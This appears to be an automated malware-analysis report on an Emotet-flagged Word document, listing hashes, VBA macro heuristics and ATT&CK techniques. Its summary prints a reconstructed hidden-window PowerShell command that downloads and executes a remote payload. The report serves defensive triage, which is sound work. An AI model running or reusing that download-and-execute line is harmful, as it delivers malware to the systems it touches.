Emotet Office (OLE) / .DOC malware analysis — malicious · 8e42ce6ee10e54e0

MALICIOUS

Office (OLE) / .DOC

156.5 KB Created: 2020-09-15 17:12:00 Authoring application: Microsoft Office Word

MD5: 5c89b1aed5a80ba6c7ca9bae2e1c0a65 SHA-1: da2335ec0904b8317e5a0aed8a60d04d26ba0295 SHA-256: 8e42ce6ee10e54e02bc1d0a74bbfbc75f9621d5d3d4e5eace41ea9ac965dac53

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV detection and high-severity heuristics for VBA macros, specifically the Document_Open auto-execution and CreateObject calls, strongly indicate malicious intent. The extracted PowerShell command, reconstructed from obfuscated VBA, is 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.10:8080/payload')"'. This command is designed to download and execute a second-stage payload from a local network address, a common Emotet delivery technique.

Heuristics 7

ClamAV: Doc.Malware.Emotet-9762377-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emotet-9762377-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `2935858df1d0c162d4ca045aee67cb5dd51728380f384e9ebdf2e9a82ed900e7`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	22872 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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